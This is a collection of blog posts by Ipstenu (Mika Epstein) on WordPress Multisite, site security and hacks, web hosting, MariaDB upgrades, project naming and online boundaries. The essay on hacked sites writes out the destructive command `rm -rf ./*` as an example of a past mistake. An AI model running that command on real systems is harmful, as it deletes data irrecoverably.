Yeah. Someone thought that was okay to talk like that. Wanna know what brought it on? I was explaining to someone that we do not have the technical capability of deleting forum accounts on WordPress.org, and we’re probably not bound by any UN statutes seeing as everything you post on .org is of your own volition. The tl;dr is “If you don’t want things to be in public, don’t post them in public.”
This guy hid his email … or so he thought. I’m aware of who it is. So are the other forum mods, so if he comes back and acts up on .org, we’re prepared. Following people home and treating them like that is not welcome in any community I’d want to be a part of.
So deleting the comment form? Smartest thing I’ve done in years.
**Categories:** How It Is
**Tags:** contact, mailbag
---
### [Whose Fault Is The Hack?](https://halfelf.org/2016/whose-fault-hack/)
**Published:** June 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Who's fault is it, exactly?
**Content:**
Your site was hacked.
Welcome to the worst day of your webmastering career. This is worse than the time you accidentally rebooted the server in the middle of processing the largest orders ever. This is worse than the time you cowboy coded something stupid at 1am on your phone from the bar. This is worse than the time you typed `rm -rf ./*` in the wrong window. This is worse than the time your credit card expired and you put off fixing it in the billing system until your site was down.
Why? It’s worse because you have *no* idea what the hell just happened, why, or who to blame.
Let me tell you who to blame.
## Your Web Software
Oh yes. They are to blame. They left you vulnerable. They made it all sound so super easy and simple that you installed a site and walked away, assuming all was well. They didn’t push those security updates like they promised and they left you ready to be hacked!
Except… Did you update everything promptly? Did you use the code only in the ways it was intended? Did you add on extensions that weren’t vetted by security experts. Did you limit the administrative access to your site to only people who knew how to do things and what was, and was not, safe?
## Your Web Host
Can’t forget these idiots, right? They’re supposed to be locking your server down for your own protection and making sure no one can see anything. They take care of everything, like server updates and network upgrades and those zero-day SSL alerts. Clearly they dropped the ball.
Except … Did the OS they’re using actually push the update needed for security? Did they not and now your host had to decide if they fork and support more or they wait and only support the legit things? One is getting you fixed faster, but it’s also making it harder to make sure *all* security patches are applied. Oh and hey, there are 40 other people on your slice of the network, and one of them has a down-time requirement. And did you remember to only use the secure access to your server? Did you maybe, the one time, turn on FTP (even though they told you not to) and use a clear-texted password?
## Yours
Hey you. If you can’t tell… The answer is it’s everyone’s fault.
Of course everyone can do better to make the world more secure, but we have to accept the fact that it’s not ever any one person’s fault. Very few bits of code are written by one person and never looked at. Very few situations are clearcut. We forget to lock the door, we leave a window cracked, we assume and don’t check.
But at the end of the day, the fault for our hacks lies on the person who cares the most when the hacks happen. If your website is your life, if it’s the way you make business and survive, you cannot just take it all on a hope and prayer that you got it right. And if the effort of upkeep and maintenance is too much, you’ll have to compensate with paying for experts who do that.
The fault is ours.
**Categories:** How It Is
**Tags:** essay, security
---
### [Multisite Emails and Redirects](https://halfelf.org/2016/multisite-redirect-registrtation-per-site/)
**Published:** June 27, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Handling the mess that is Multisite registration and emails when you're on a per-site basis.
**Content:**
I wrote a plugin that allows people to [Join A Multisite on a Per-Site Basis](https://wordpress.org/plugins/join-my-multisite/).
There are some things it doesn’t do that I have no intention of adding into the plugin, but people often ask me how to do them. Personally, I think people should always know they’re on a network, and hiding this will only lead to complaints later one, but my way is not the only way.
That said. I am aware of things people try to do that my plugin won’t. All of these snippets should go in a file in `mu-plugins`. I’d name it `multisite-registration.php` personally. That way I know what it is right away.
## Emails By Site
When you register for a network site, you always get emailed from the network. This means even if I go to `halfelf.org` to reset my password, the email always comes from `ipstenu.org`. To change the password reset emails to be from the one where you’ve actually pressed the reset link is pretty easy:
But when we talk about the activation it’s a little messier. If you’re using my plugin, you can have users sign up on a specific site. You probably want to have new user activations come from that site and if you do, you need to do this:
That subject can, obviously, be changed.
## Redirect Lost Password Pages
So you may have noticed that the lost password page on a network always points to the network and never the site you’re on.

That can actually be fixed by doing this:
This simply filters the URL and if you’re on a site’s login page, use that site for the URL.
## Redirect Logins to Their Site
This one is messier. If you always want a user to be redirected to ‘their’ site, you have to know what their primary blog is on the network. You can do this, and for the most part, this works:
If they don’t have a primary\_blog, they’ll be punted to the main for the network, as it should be.
**Categories:** How To
**Tags:** email, multisite, registration, wordpress
---
### [Apple Watch UX: Too Small](https://halfelf.org/2016/apple-watch-ux/)
**Published:** June 24, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We're making steps forward, but the UX could use some work.
**Content:**
The biggest issue I have with my watch is the UX to perform an action.
I use the WebMD app to remind me to take my pills every morning. At 7:15 it pings my watch and says to take them. I have to scroll down and tap ‘take’ but it gives me three options: Skip, Take, Dismiss.
This is *not* the same as the alert they show on their Apple page:

That shows up when you miss the alert and go check what you need to take.
This strikes me as a bit off. The information is too small and the buttons are not as clear as they should be, and I have to scroll down.
So let’s think what does someone want when they get that alert? They either take the pill or not. Or they dismiss the alert. We want them to take the pills, so we should make that button bigger and green. We don’t want them to not, so make that normal and red. As for dismissing, we can swipe the alert down, so you can leave that button off completely and use the built in UX.
When we consider the [Human Interface Guidelines](https://developer.apple.com/watch/human-interface-guidelines/) of the Watch, I think they’ve aimed too small. While they say to have buttons be “large enough to be tapped easily” and “Create buttons that are easy for the user to tap.” the minimum sizes they provide are shockingly small.
[](https://developer.apple.com/watch/human-interface-guidelines/ui-elements/)
A 42mm Watch has 390px of usable vertical height. 52px (which is the minimum size for the 42mm) is 13.3% of the height. That’s 13mm. Hold on to that number.
There was a study by the MIT Touch Lab which investigated Human Fingertips in the [Mechanics of Tactile Sense](http://touchlab.mit.edu/publications/2003_009.pdf) and they determined the average width of an adult human index finger is 1.6 to 2 cm (16 – 20 mm).
Now Apple’s saying the *minimum* height is 13mm when the smaller end of average is 16mm. That means if your button is the minimum, most of us will have trouble tapping your button.

I’m not a graphic designer. I call myself a monkey with a crayon. I’m not a UX expert. But I am is a very experienced user and I’m someone who *understands* how users think. That’s distressingly more rare than you’d think. I understand how a user goes from A to B and gets lost on C.
When I first got my Apple Watch, I struggled. I had a lot of confusion over force touch (something I still find a little difficult to get correct). But I’ve learned the one thing. Those buttons need to be bigger.

These are the buttons for alarms. The one I don’t have is the nightstand mode button but I use my Watch for an alarm and I don’t have a snooze. Sometimes I have trouble tapping the button in the morning, but I don’t think that’s a function of button size. That said… Those buttons could be larger.
The Watch tries to separate functions on the Watch, alerts, by ones you look at and ones you interact with. I think the interactions need to have bigger buttons in order for more meaningful, easier, usability.
Some of this will be addressed in WatchOS 3, which will have us swiping less. But the majority of apps are still trying too hard to cram more information onto small screens. WebMD included. We need to get better about separating information from alerts on our notifications and devices. We need to have everything be easily dismissible with one gesture.
Thankfully we’ll keep iterating and getting better.
**Categories:** How It Is
**Tags:** apple, ux, watch
---
### [Multisite And Theme Activation Checks](https://halfelf.org/2016/multisite-theme-activation-checks/)
**Published:** June 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Network activating a plugin gets weird on Multisite when you need to check if the theme is also active.
**Content:**
Earlier this week I talked about how you can’t actually network activate all plugins. As it happens, I have a plugin for a specific theme, and it doesn’t like being Network Activated.
The plugin is [Genesis Simple Hooks](https://wordpress.org/plugins/genesis-simple-hooks/) and, logically, it only works if you have a Genesis theme installed and active.
## How It Works
When the plugin is activated it properly runs the following activation hook:
First this looks to see if there’s no parent theme or if the parent theme version is less than 2.1.0, and if either of those are the case (that is if there’s no parent theme, and the version is less than…) it calls `simplehooks_deactivate`.
And you know what? That sucks. It never checks for *Genesis* as the parent theme name, based on the assumption that only Genesis themes use the define of `PARENT_THEME_VERSION` which probably made sense a few years ago, but doesn’t anymore. And more importantly for this explanation, you can’t network activate it because unless you’re lucky enough to be running a Genesis child theme on the main site of your network, it won’t activate.
Worse, it will throw errors on sites that aren’t.
## How I’d Fix It
First I made a list of the action/function calls that require a Genesis Child Theme to be active in order to run properly: `simplehooks_load_textdomain`, `simplehooks_init`, `simplehooks_execute_hooks`
Then I moved them all to their own section and wrapped them in a check:
What’s `simplehooks_can_run`? That’s a *new* function I’ve created to check for the requirements:
What this checks is if the parent theme is 2.1.0 or higher and, if it is, if the theme *or* it’s parent is named Genesis. By having it use `return` I don’t have to check if it’s true or false, the if-check is smart enough for me not to do it explicitly.
Finally I changed the if check in `simplehooks_activation` to look like this:
What this isn’t doing is checking for WordPress 3.9.x anymore, as it’s 2016 and that was 2014 and I’m not worried about it. If I was, I’d toss `&& version_compare( $wp_version, '3.9.2', '>=' )` to the if-check in `simplehooks_can_use` to CYA.
This *also* isn’t giving you an error on Multisite. That means if you network activate the plugin and, on Multisite, go to a site that *does not* have Genesis running, you don’t get an error. This is by design. There’s no point in telling a site-admin “Hey there’s this Genesis thing you can’t have because you’re not using it! NEENER!”
I’m actually using this here on this site. If you’re interested at testing it out, grab it from [my Github repo](https://github.com/Ipstenu/genesis-simple-hooks/tree/multisite).
Pull requests welcome.
**Categories:** How To
**Tags:** multisite, plugins, themes, wordpress
---
### [Debugging Unexpected Output](https://halfelf.org/2016/debugging-unexpected-output/)
**Published:** June 13, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Helping debug unexpected errors is not as obvious as it might be.
**Content:**
It’s going to happen one day. You’re going to get that weird error when you activate your plugin to test it and you will have no idea what it means.
What error?

Unexpected output.
The problem is WordPress doesn’t tell you what did it, where, or why, not even if you have debug turned on. You *do* have debug turned on, right? Well I was stumped on this one. I checked all my PHP calls to make sure I didn’t have whitespace, I looked for any files that were accidentally saved UTF-8, and I checked and double checked my diffs between the good and bad versions.
What I ended up doing was writing a function that saved the error and output it.
That results in a pretty kind of output:

I like to use the pretty display so I can easily read what, exactly I messed up and how.
**Categories:** How To
**Tags:** coding, debug, wordpress
---
### [Google Advertising Experiments](https://halfelf.org/2016/google-advertising-experiments/)
**Published:** June 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** See who's clicking on your Google Ads. Or not.
**Content:**
In the time since I’ve gone back to Google Adsense, I’ve had issues with some of their ads. Mostly religion and politics. Big shocker, right? Every once in a while, Google suggest I allow those ads:
> Consider allowing ads from sensitive categories to increase auction pressure and improve performance.
I usually discard the suggestion, but this time they tried something new to me.
> … you can allow these ads now, or run an experiment to help you decide.
[Experiment](https://support.google.com/adsense/answer/6321879?hl=en)?
There are only two types of experiments right now. One is ad units, where you can adjust templates and ad sizes. The other is what I’m doing, allowing and blocking ads. I clicked on the experiment button, and it set up an A/B test for me, tracking the clicks of each version of my site, to see if anyone actually clicks on those ads.

Initially there was an option to automatically pick the best one, but I don’t know if I want to. I do know that I want to actually see if anyone who reads my sites wants to see political ads.
The reason I’d blocked them is they were showing right-wing crazy people on my sites, and I’m not that person. They were showing ads I would deem offensive (and you have to work hard to offend me) so instead of reading every single ad, I decided to block all of them, assuming I wasn’t hurting my income too much.
After this experiment, I’ll circle back and make a more informed decision. I wish there were more things I could experiment on, like specific ads in specific locations, but this ability to just see if the ads are clicked at all is a nice start for a free product.
**Categories:** How To
**Tags:** advertising, google, testing
---
### [Boundaries](https://halfelf.org/2016/boundaries/)
**Published:** June 17, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not being an asshole starts with recognizing that you're not special at all.
**Content:**
My friend and coworker tipped me on to this post about [The Asshole Filter](http://siderea.livejournal.com/1230660.html) which begs the question: “Why is everyone I deal with an asshole?”
The post goes on to talk about how the issue is that if we draw a line in the sand but then *allow* people to cross that line, or worse reward them for doing that, we’re hurting ourself. In the example, a fellow named Fred used to accept personal emails about a project but now asks them to be sent to a group email.
> \[…\] some people use fredsstaff@fredsconvention.tld and some people use Fred’s personal email.
>
> Who uses the officially designated email address?
>
> • People who feel strongly about following rules.
> • People who feel following the rules is generally a good idea.
> • People who respect Fred’s request because they’re generally respectful.
> • People who respect Fred’s request because they like Fred personally.
> • People who don’t want to antagonize Fred.
> • People who realize the problem Fred is trying to solve and want to be cooperative to reduce the burden on Fred.
> • People who feel it important to respect role boundaries.
> • People who are concerned that overwhelming Fred will cause their request to get lost.
>
> Who uses Fred’s personal email address?
>
> • People who can’t be bothered to learn and follow procedures.
> • People who feel rules are for other people.
> • People who feel they should get to cut in line.
> • People who don’t feel keeping track of what other people prefer is all that important.
> • People who aren’t troubled by the thought of pissing off Fred, either because they don’t care whom they piss off or because they think Fred is of no account.
> • People who feel entitled to get their way.
> • People who feel satisfaction when they find an illicit “shortcut” to getting what they want, that “suckers” are too “chicken” to use.
>
> In short, the decent, cooperative, law-abiding people all use the departmental email address, even though it doesn’t work a well as they might like, while the assholes continue emailing Fred directly.
Did that just sound familiar to a lot of you who are thinking “I can just email Mika about plugins…”
People often ask me why I sound angry when I tell you “Please email plugins@wordpress.org, don’t tweet/DM/Slack me asking for status. Just use the email and sit on your hands a bit.” I’m actually not angry. I’m annoyed. There’s a huge difference.
Angry me logs off and calls it a day.
Annoyed me rants a bit to someone who understands, or maybe says something passive/aggressive on Twitter about “Please use the plugins@ email…”
In both cases, though, I probably waste at least an hour of my time *not* getting to the things everyone wants be to get to. In both cases, I feel incredibly disrespected and used. Yes, used. Because even when my *friends* say “Hey I have a quick plugin question…” the answer has *once* been a quick one. That question? Someone asked if he could adopt the plugin of a friend of ours who had died.
First of all, that’s just an unexpected question by anyone’s standards (and it’s why we came up with a policy about handling death among developers). Second of all, it’s a touchy subject on it’s best day, so asking how to handle it was respectful. Third… He actually asked if he should just email the group.
This was someone who clearly understood the reality, the situation, and the fact that there will always be exceptions.
The sidebar of this issue is that, even if I ask someone to email a group, nine times of out ten it’s me who replied.
I can give you a really long explanation, including how I plan to use those emails to train up new reviewers so you *don’t* have to wait on me, but let me ask you this instead.
- Are you more or less important than everyone else who is waiting for their plugin to be reviewed?
In general, if you get the ‘snippy’ reply of “Dude stop fucking things up and use the right channel” then I’ve *already* asked you, at least once, to “please” use the email. I’m very careful to ask nicely since I know there’s no possible way for everyone to know things. Mistakes are totally okay in my book. Intentionally trying to jump a queue just makes you an asshole, no matter your intentions. You’re disrespecting everyone, me and every other plugin developer out there, by demanding you get attended to first.
Okay.
So what would be a good reason to ping directly? Well about the only reason people do it that I consider thoughtful and respectful is this:
> Hey it’s been a week and I didn’t hear back about X. Did the email get lost or are you guys super backlogged?
And maybe…
> I think \[plugin reviewer\] is treating me unfairly. Can you help or do you know who can?
Both of those are totally perfect reasons to step off book. One is you not being sure if the email was received. The other is an issue with someone who might read the email.
But do you see how they’re both asking, briefly, without a lot of drama or accusations, a simple question? Well. Not a simple question. But they’re asking in a way that shows they understand the situation of the world in general, they understand they’re asking for an exception, and they will respectfully accept the answers.
By the way. The answer to the first one is 90% ‘backlogged’ and 10% ‘goddamn email!’
**Categories:** How It Is
**Tags:** essay, rant
---
### [So Take an Upgrade, Maria!](https://halfelf.org/2016/take-upgrade-maria/)
**Published:** June 10, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A message to my sites. Say we won't use Oracle. Gonna start a new life.
**Content:**
A year ago I asked [how do we solve a DB like Maria](https://halfelf.org/2015/solve-db-like-maria/), and my friend James and I had a good laugh at the long list of issues.
It’s been a year.
I’ve upgraded to PHP 7.
It’s time.
## What about Oracle vs Google?
Oh you heard about that? [Google won a case against Oracle about GPL code in Android](https://www.eff.org/cases/oracle-v-google) which I want to be really happy about, but it illustrates a major flaw in the judicial system. To whit: The player with the deepest pockets wins.
That case about Java though, not MySQL, which has been a long standing issue with the Open Source Community. The summary? Well it’s kind of like Prohibition. They can try to outlaw it, but we’re going to do our own thing. Which is where MariaDB comes in. It was a fork of MySQL, made in order to stay free and open. I strongly support open source software and so I change to MariaDB.
## What Are The Issues?
There aren’t as many for [MySQL 5.6 vs MariaDB 10.x](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-compatibility/#incompatibilities-between-mariadb-100-and-mysql-56) as I’d thought. In looking at that, I determined it wouldn’t really impact my sites or setup. In fact, I was certain none of it would be an issue.
## How to Upgrade?
I’m on WHM, so first I made a backup: `/usr/local/cpanel/bin/backup --force`
Then I went into WHM and said “Upgrade Maria!”
I picked the interactive upgrade since I wanted to see what it was doing. Step one went rather quickly and updated everything. It asked me to check my compiled software (which meant two non-WordPress sites that historically act odd when I upgrade). Once that was done, I clicked ‘next’ and was told I didn’t need to do anything else…
## Now what?
I ran off to [GTmetrix](https://gtmetrix.com) and checked my sites. I had two that were PHP 7 and they had no real change. I then changed another one to PHP 7 and Maria and checked it, and got bigger gains. Speed was up and everything, code wise, appeared to work as needed.
It was entirely a non-event.
**Categories:** How It Is
**Tags:** database, upgrading
---
### [How Do You Solve a DB Like Maria?](https://halfelf.org/2015/solve-db-like-maria/)
**Published:** April 8, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How do you push to the cloud and pin it down? How do you find the query that means Maria?
**Content:**
I was talking to my friend James about upgrading SQL. If you didn’t know, upgrading SQL is a horrifyingly monumental thing, because there’s no way back except restore from a backup. Minor upgrades are generally painless, but the CentOS warning is as follows:
> Upgrades to new major releases (the first two digits in the version string) are more involved because there is a substantial risk of data loss.
Data. Loss.
It’s scary when you consider doing it for yourself. It’s horrifying when you consider doing it for a few thousand users.
On top of that is the issue that MySQL is owned by Oracle and they’re not exactly known for being good stewards of OpenSource. Unlike many other Open Source projects, Oracle owns the entire copyright to MySQL. All contributions are done if the developer has signed a “contributor agreement” that assigns ownership to Oracle. This isn’t all that weird, to be fair. When I worked for The Man, that was basically how things worked and it made sense. The work I did for the company belonged to the company.
Where this is weird is that Oracle has said that about a GPL product, even to parts of it the company has not written. Why is that? It’s because all contributors to the code have to sign a “contributor agreement” assigning ownership of the copyright to Oracle, which is not alone in this. Sun before them used contributor agreements to get full source ownership, and many other projects do the same.
Now, James and I looked at the [MariaDB vs MySQL compatibility doc](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-compatibility/) and had a laugh.
> tl;dr “For all practical purposes, MariaDB is a binary drop in replacement of the same MySQL version,” except for this long list detailing where you’re screwed.
Now when you get down to MySQL 5.5 and MariaDB 10, the issues become very minor and unlikely to cause you migraines, which is a relief, but that list sure is long and daunting.
I’m not yet running MariaDB because it’s an all-or-nothing move. I can’t keep on MySQL, and I have a few old (ancient) bits of non-WordPress code on this server. I always stress that [WordPress is not the limiting factors in server upgrades](https://halfelf.org/2015/road-php-5-x/ "The Road to PHP 5.x"), and it’s still the truth.
I’ve started doing the recon work to make sure MariaDB will work for all situations on my server, for all apps, and I’m currently pretty sure that I’ll be fine, but I do have one way-out-there app to check into. They’re also one of the few people who pay me for hosting, so we may have to have a sit-down anyway to discuss their future.
> [@Ipstenu](https://twitter.com/Ipstenu?ref_src=twsrc%5Etfw) Yep!
>
> — Gary (@GaryPendergast) [March 24, 2015](https://twitter.com/GaryPendergast/status/580473177140236289?ref_src=twsrc%5Etfw)
The most important question has been answered.
**Categories:** How It Is
**Tags:** essay, open source, servers
---
### [Is This A Good Name For Your Project?](https://halfelf.org/2016/good-name-project/)
**Published:** June 6, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Names should be unique. They should be distinct. The should be yours.
**Content:**
If the answer to *any* of the following is not a ‘yes’ then no, you should not use the name for your project.
Again, every answer here should be yes.
1. Did you Google the name?
2. Did you check if the domain name was available?
3. Did you make sure no one else is using it for a similar project?
4. Did you check for trademarks and copyright conflicts?
5. Did you check it against a five year old and made sure they don’t giggle?
## Congratulations! You Have a Good Name!
Maybe.
I do a lot of arguing with people over the idea of ‘how’ to name a project, because people want to make add-ons
For example, if you have written an add-on plugin for Microsoft Word, you can’t name your project “Microsoft Word Super Snazzy Map Add-On” but you *can* name it “Super Snazzy Map Add-On for Microsoft Word.”
Using a name like “My Product for Other Product” is something I consider common sense. Consider the example of Keurig. If you made an eco-friendly brew cup, you could market it “EcoBrew Pod for Keurig” but you could NOT attempt to market it as “Keurig EcoBrew Pod.” The latter implies a direct relationship to Keurig and may be against the law in some countries.
## Being Original Is Hard
I don’t mean to dismiss this. It’s hard to come up with a name that is original, descriptive, and unique. It gets harder and harder every day. Consider that a number of [today’s companies seem to have ripped their logo out of a 1989 design book](http://nextshark.com/airbnb-beats-hootsuite-copied-logos-from-same-book/)
The Beats logo on the right compared to one found in the 1989 design book Tweeted by Spencer Chen.Now we have long accepted in logos the limitation of language, letters, and combinations. It’s probably not theft, but it’s something you have to be aware of when a new project is named. Similarly, we accept the fact that naming something that is at once unique while still displaying your own flare is problematic.
I can’t offer you an answer that will fit everything, but I can offer you this. When you pick a name for your project, regardless of if you’re the big fish or the little one, it’s your responsibility to check if something even possibly related is *already* there. If you happen to name things at the same time, that’s an honest mistake, but if you know better going in, don’t be the bad guy.
## What About The Bad Guy?
What happens, though, if a year or three down the line, you get an email telling you that your product is infringing on trademarks?
You have two choices:
1. Fight
2. Flight
There are weird issues in the US with Generic Trademarks. Like did you know heroin, thermos, and aspirin are genericized? That means we use the words ubiquitously to mean the general concept of ‘a thermos bottle’ or ‘that horrible drug’ without reference to the trademark holders.
That said, there are terms that are *not* generic, and yet we use them similarly. Band-Aid, Kleenex, Post-It, and Google. Yes. Google. Google actually has gone to the point of downranking you for terms like ‘googling it’ because they want to protect their brands.
So what happens when you get that email from Johnson & Johnson, telling you that your product “Mika’s Band-Aid for WordPress” is a trademark violation?
Fight or flight.
You can argue that no one would logically think that ‘band-aid’ in this case would ever be confused for their product. Or you can say “Oops, my bad. I was totally trying to leverage the term band-aid.” You can also ask them “Are there circumstances in which I can rebrand this so as to make it clear I’m not intending to violate your trademark while not losing the ground I’ve made with my product?”
I will suggest, if you chose to fight, to get a lawyer who specializes in trademark law.
**Categories:** How It Is
**Tags:** essay
---
### [How To Pick Your Webhost](https://halfelf.org/2016/pick-webhost/)
**Published:** May 30, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to pick a webhost comes down to understanding yourself, what you need, and how you work.
**Content:**
This is not a real conversation, except it totally is.
User: I want hosting.
Me: What kind of site do you want to host?
User: A WordPress site!
Me: What kind of content do you plan on writing?
User: Oh you know, blog stuff.
Me: Okay… A food blog, a photo blog, a tech blog…?
User: *Why are you asking me all this!?!?!*
I’ve had so many conversations like this, I’m of the opinion that recommending hosting is a mugs game that simply cannot be ‘won’ so I generally don’t play.
Then why am I presuming I can tell you how to pick a webhost? Because I’m telling you *how* to pick a webhost, not who the best webhost is.
## Preface
Someone will hate every single webhost on the planet. I use [Liquidweb](https://www.liquidweb.com/?RID=JFO123) and [DreamHost](https://dreamhost.com). People hate both of those. There’s the bevy of EIG companies whom people will detest and lambast and accuse of shady actions to be listed somewhere. There are the millions of small companies. There are good and bad companies, and there are reasons to use them. Whenever someone asks what host to use, I remind them that *someone* will hate their choice. That’s okay, just don’t take it personally and I recommend you ignore people who simply jump on bandwagons to tell you “X SUCKS!” They’re not being helpful.
## Needs vs Wants
I repeat this a lot in myriad situations. Your needs are what your website *needs*, which should be obvious. If you’re running WordPress you need a webserver than runs a modern version of PHP and a MySQL (or MariaDB) database. That’s it. But that isn’t all of what you *need* for a website, and to understand your needs you need to be very clear about your own abilities, your capabilities, and the time you’re willing to commit to your project. Running a website is very time consuming and stressful. You can’t just set it and forget it.
## Who Are You?
We should all know who we are, what our skills are, and what we *enjoy* doing. I’m like playing with servers and code. My wife prefers practical experimentation (she makes cheese and mead). My father is a mathematician. We’re all writers of a sort, but of the three of us I’m the one who runs the website and puts of articles on the regular. This is not because the others can’t, but because they know who they are. My father sends me his articles to post, my wife posts her own, and I both write my own for me but for my company, and I maintain the servers (and email). If you’re not me, and don’t have a me, you need a me. That *may* be your host, and it may not.
## How Do You Communicate Best?
Do you get anxiety with phone calls? Look for a company with live chat and email support. Do you hate live chat? Are you dyslexic? Look for phone support. You know how you like to communicate with strangers, so pick a host that has what you need. I personally prefer ticket based systems, unless my server is actually on fire. That hasn’t happened much.
## How Do You Add People?
Let’s say you decide to hire someone to work on your website. Do they need access to the server? Do they need access to your billing? How do you do that without giving them your passwords? Find out how the host handles this. Can you simply add a technical contact or will there be more complicated steps?
## What Is Your Site About?
Why does this matter? Well, think of it this way. “I want to make a community site where people from my city can come and post news, events, crimes, etc.” Did you just think about [BuddyPress](https://buddypress.org/)? You will likely need a bigger server than Shared. “I want a photoblog!” Okay you will need to seriously look at diskspace, which means SSDs may be a little tricky for you since most limit space. Check if the host allows easy upgrades. “I’m going to run a multisite network for my school!” You need a private server. Knowing what your site is about will help you predict upcoming hurdles.
## Do You Know Any Metrics?
Most people, especially people with a brand new site, are going to say “No!” here and that’s okay. But if you do know things like how much traffic you get or how often you post or how much disk space you use, talk to the host about it. Pre-sales questions like “What’s the best hosting plan for a site that gets 2000 visits a day, and then 12k on one day a week?” are the bread and butter of a host. If they can’t answer it, move on.
## Does The Host Make You Feel Good?
If you get a bad feeling from the host at any step along the way, you feel like they’re dismissive or maybe not a good fit, *walk away*. Look, you need to be comfortable with your host, and if the advertising practices of a host upset you, don’t use them. It’s that simple. Even if they’re the best for your needs, if they make you uncomfortable, you will be miserable. And remember, for every single host there will be people who hate them. That’s okay too. If it works for you, and you feel good about doing business with them, then that is really all that matters.
**Categories:** How To
**Tags:** essay, hosting
---
### [My Super Secret .htaccess File](https://halfelf.org/2013/my-super-secret-htaccess-file/)
**Published:** October 30, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** An inside look into my wild and wooly and actually pretty simple .htaccess settings.
**Content:**
This came up back in April in the comments of [WordPress Login Protection With .htaccess](https://halfelf.org/2013/wp-login-protection-htaccess/ "WordPress Login Protection With .htaccess"), where I remarked my .htaccess was pretty long and weird. It came up again when I was doing a [MeetWP presentation](https://halfelf.org/2013/meetwp-troubleshooting-and-hacked-sites/ "MeetWP: Troubleshooting and Hacked Sites") about hacked sites and some security.
So what is it? Actually less long and weird these days. I’ve been trimming stuff out. But since people ask, here it is, broken out into ‘chunks.’
## Security
Everything in this section is for security purposes. That is, I feel it helps my site be safer.
This is basic .htaccess stuff, says to allow includes and symlinks, but stop indexes. This means if you go to `halfelf.org/wp-content/uploads/` you don’t see anything, *even if* I don’t have an index file.
Now we’re into a little odder bits. This stops anyone from surfing to my wp-config.php file. It shouldn’t matter, PHP won’t let it load the content, but if my PHP is off, it protects me just in case!
This is because of the next section. It gives a nice error for 401s, which WP normally gets gitty over. And not the fun way.
Ahhh, yes. Here I say “If you’re coming to wp-comments-post OR wp-login and you are NOT refereed by one of my domains, sod off.” And then it says “Oh and if you’re looking for .svn or .git files? Go away.” This isn’t perfect, but it works for some of the botnets. The fun part is that the rewrite sends them back to themselves, which should cause annoying things to happen. Don’t want that? Redirect them to fbi.gov. Actually, if some tool had a page “Redirect botnets here…” I would use that, but generally I send them to `http://lmgtfy.com/?q=wordpress+botnet` because I’m that sort of kid.
## Speed and Bandwidth
Now that I’m safer, lets speed this stuff up!
First up, stop the hotlinks! I got the idea from [Perishable Press](http://perishablepress.com/creating-the-ultimate-htaccess-anti-hotlinking-strategy/), and it stops you from embedding my images. This means my site is faster, as you’re not sucking up my bandwidth. I get 5G so it’s not too much of a concern right now, but it’s the principle of the thing. [Don’t hotlink images!](https://halfelf.org/2013/hotlinking-google/ "Hotlinking is Evil (And So Is Google)")
I use Pagespeed on my server, so here I’ve added in my extra rules. Not everything is active for all sites. This is my default WP rule-set though, and it works well. I have it skipping a couple non WP folders, who have their own rules inside on their own .htaccess files anyway. If you don’t have pagespeed? Skip this section.
Oy. There are a couple ways you can control all these things. One is the way I did (filesmatch) and the other is `ExpiresByType image/jpg "access plus 1 year"`. Is one better than they other? I don’t know. Not that I’ve managed to see, but I find the filesmatch to be easier to read and add things too. It’s shorter. Does that make it better? Only in so far as my management goes.
Finally we have gzip, which compresses and makes things smaller and thus faster. Using gzip saves me about 80% in filesize, so it makes things faster to download and, thus, display. If you’re using this in your .htaccess, do not also try to use it in plugins/extensions for other web apps, that way likes double compression and garbage on your pages.
## Add support!
This is a really short bit to add in support for filetypes I use that aren’t always standard:
## Rewrites
In general, this is useless to everyone else, save as an example.
I cut out a couple of sections, where what I did with the ‘Only redirect ipstenu.org’ stuff is repeated for each site. I built much of that after reading my 404 logs and determining what needed to be redirected. Everything is commented and in logical sections, so I can easily find and remember what the heck I was doing.
This is the longest section, the stuff under `# Ipstenu Moves` and such, because they’re accounting for files that moved a million years ago. But the moves section is pretty straightforward too, as you can see where things went. I try to keep it as compact as I can. Sometimes I go through and make them more and more efficient, as I learn new tricks.
## What used to be here?
I used to include the [5G Blacklist 2013](http://perishablepress.com/5g-blacklist-2013/) and/or the [2013 User Agent Blacklist](http://perishablepress.com/2013-user-agent-blacklist/) (or whatever the current versions are), but now I don’t have it on all my sites because of the work I’ve been putting in on my firewall and ModSecurity instead. Every once in a while, someone tells me I’m putting too much work on Apache to handle the hackers and spammers, and I generally reply “Better Apache than WordPress.”
Regularly, I go through my .htaccess and see what I can push over to ModSec. I also trim down my PageSpeed rules into things that work on most sites, things that only work on this site, and things that work for everything. This is why there’s no blacklisting here, it’s all handled by my firewall and mod\_security and that’s that. I like to take the load off of apache and .htaccess and PHP and make the server do the work.
## Why not nginx?
Per site configuration is still a pill. No, really that’s it. It’s a hassle to re-do everything I have in htaccess, I can’t just toss a .nginx file in there on the fly without restarting nginx, which means for shared hosts it’s just not gonna happen. Sucks. For managed hosting, where you don’t allow users to make those changes, sure, it’s great. But that’s not *my* use case. I may use it for a Varnish in front server one day, after I rebuild everything from scratch.
**Categories:** How It Works, How To
**Tags:** coding, htaccess, security
---
### [SSD: An Anecdotal Journey](https://halfelf.org/2016/ssd-anecdotal-journey/)
**Published:** June 3, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Anecdotally SSD is an incredible improvement of the old bog hard drives.
**Content:**
After I upgraded to [Ogra](https://halfelf.org/2016/farewell-mothra-hello-ogra/), I noticed that my server’s load stats were a little janky. They were pretty high, actually, bouncing between .5 and 2 all the time. Now this isn’t really all that bad, but as I looked at my server, I realized I was paying a little more than I needed, since I’d cut down on space by offloading backups better.
